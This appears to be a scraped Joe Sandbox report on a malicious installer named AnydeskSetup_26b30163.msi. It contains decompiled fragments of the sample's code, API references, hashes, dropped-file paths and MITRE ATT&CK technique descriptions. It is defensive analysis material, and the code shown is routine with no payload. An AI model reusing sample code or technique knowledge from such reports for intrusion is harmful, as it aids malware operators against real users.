0x00fc7ac2
0x00000000
0x00000000
0x00fc7aca
0x00fc7ae7
0x00000000
0x00fc7ae7
0x00fc7ad4
0x00fc7adf
0x00fc7ae5
0x00fc7ae5

APIs

EnterCriticalSection.KERNEL32(00FD6714,00FC5BF1,?,?), ref: 00FC7AAE
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00FC7AD4
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC7ADF
LocalFree.KERNEL32(?), ref: 00FC7AE7
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC7AF2

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CriticalSection$FreeLeave$EnterLocalVirtual
String ID:
API String ID: 4056463437-0
Opcode ID: 6ef08e370036ecc428ef8cdb1b38b1485ed8d4eed1673c90fe8ad80c0837583f
Instruction ID: f7f79cd57a4fdc92b0773e6daddde4b90943e699a5283e5ed9f73b15678e340a
Opcode Fuzzy Hash: 6ef08e370036ecc428ef8cdb1b38b1485ed8d4eed1673c90fe8ad80c0837583f
Instruction Fuzzy Hash: F7E0E571B4430A9BDF146B60DE0FF5D7756AB44B56F08442EB147C61B4CA788444FF11

Uniqueness

Uniqueness Score: -1.00%

Function 00FC2290 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC2290(void** _a4, signed int* _a8) {
				signed int _v4;
				void* _t10;
				void* _t13;
				signed int* _t21;
				void* _t23;
				void** _t24;

				_t24 = _a4;
				if(_t24 == 0) {
					return _t10;
				}
				_t21 = _a8;
				if(_t21 != 0) {
					_t10 = GetTickCount();
					_t13 = _t10;
					if(_t13 -  *_t24 > 0x3e8) {
						_v4 = (_t21[1] << 0x00000020 |  *_t21) >> 0x14;
						if( *0xfd672c != 0) {
							_t10 = LocalAlloc(0, 4);
							_t23 = _t10;
							if(_t23 != 0) {
								 *_t23 = 0;
								_t10 = E00FC1000(_t23,  &_v4, 4);
								EnterCriticalSection(0xfd6714);
								 *0xfd65fc = 0xc;
								 *0xfd6601 = 4;
								 *0xfd65fd = _t23;
								LeaveCriticalSection(0xfd6714);
							}
						}
						 *_t24 = _t13;
					}
				}
				return _t10;
			}

0x00fc2292
0x00fc2298
0x00fc2328
0x00fc2328
0x00fc229f
0x00fc22a5
0x00fc22a8
0x00fc22ae
0x00fc22ba
0x00fc22cc
0x00fc22d0
0x00fc22d6
0x00fc22dc
0x00fc22e0
0x00fc22e8
0x00fc22ed
0x00fc22fa
0x00fc2305
0x00fc230c
0x00fc2316
0x00fc231c
0x00fc231c
0x00fc22e0
0x00fc2322
0x00fc2322
0x00fc2324
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00FC22A8
LocalAlloc.KERNEL32(00000000,00000004), ref: 00FC22D6
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC22FA
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC231C

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CriticalSection$AllocCountEnterLeaveLocalTick
String ID:
API String ID: 2001048959-0
Opcode ID: f034a04df32001df7488fcaae61371383b1e6a82bb9d9482bc581b0e0f5b40ff
Instruction ID: 2fa86782d4b9752927da14c6219c93dae2674b29afe8e56d832287ef4efd12fd
Opcode Fuzzy Hash: f034a04df32001df7488fcaae61371383b1e6a82bb9d9482bc581b0e0f5b40ff
Instruction Fuzzy Hash: 3901F9B1A013469FD311CF24ED46F29F7A6FB84715F14813EE24597385DB789804EB62

Uniqueness

Uniqueness Score: -1.00%

Function 00FCA800 Relevance: 6.0, APIs: 4, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00FCA800(struct HWND__* __ecx, struct tagPOINT* __edx) {
				struct tagPOINT* _t8;
				struct HWND__* _t11;
				struct HWND__* _t12;

				_t8 = __edx;
				_t11 = __ecx;
				ScreenToClient(__ecx, __edx);
				_push(_t8->y);
				_t12 = ChildWindowFromPoint(_t11, _t8->x);
				if(_t12 != 0) {
					while(_t12 != _t11) {
						_t11 = _t12;
						ScreenToClient(_t12, _t8);
						_push(_t8->y);
						_t12 = ChildWindowFromPoint(_t12,  *_t8);
						if(_t12 != 0) {
							continue;
						}
						goto L3;
					}
				}
				L3:
				return _t11;
			}

0x00fca808
0x00fca80c
0x00fca810
0x00fca812
0x00fca81e
0x00fca822
0x00fca824
0x00fca82a
0x00fca82c
0x00fca82e
0x00fca83a
0x00fca83e
0x00000000
0x00000000
0x00000000
0x00fca83e
0x00fca824
0x00fca840
0x00fca846

APIs

ScreenToClient.USER32 ref: 00FCA810
ChildWindowFromPoint.USER32(00000000,?,?), ref: 00FCA818
ScreenToClient.USER32 ref: 00FCA82C
ChildWindowFromPoint.USER32(00000000,?,?), ref: 00FCA834

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: ChildClientFromPointScreenWindow
String ID:
API String ID: 1042228851-0
Opcode ID: 195e89308aecf0aeab00291bbd79fe77b52d2218c186cc096c9b4dad40c07262
Instruction ID: 8c12bfac1e7d978128ad268af00f452193dc48533ebe8def5f0b1d970520750d
Opcode Fuzzy Hash: 195e89308aecf0aeab00291bbd79fe77b52d2218c186cc096c9b4dad40c07262
Instruction Fuzzy Hash: FEF0A7379014296B4B221B559D81D7BBB6EDB8666530A0165F9008B254CA15DC0166B1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	AWS CloudTrail logs, Authentication logs, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AnydeskSetup_26b30163.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\4641aa.rbs

C:\ProgramData\435f8fae.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gld1ncvw.egc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s4amu3bk.wcr.psm1

C:\Users\user\AppData\Roaming\Litesoft\Install\vcredist_x86.7z

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KRYLUQIL0MY15GSRVS7I.temp

C:\Windows\Installer\4641a8.msi

C:\Windows\Installer\MSI4755.tmp

C:\Windows\Installer\MSI48BD.tmp

C:\Windows\Installer\MSI494B.tmp

C:\Windows\Installer\MSI49E8.tmp

C:\Windows\Installer\MSI4B9F.tmp

C:\Windows\Installer\MSI4E9D.tmp

Windows Analysis Report
AnydeskSetup_26b30163.msi

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre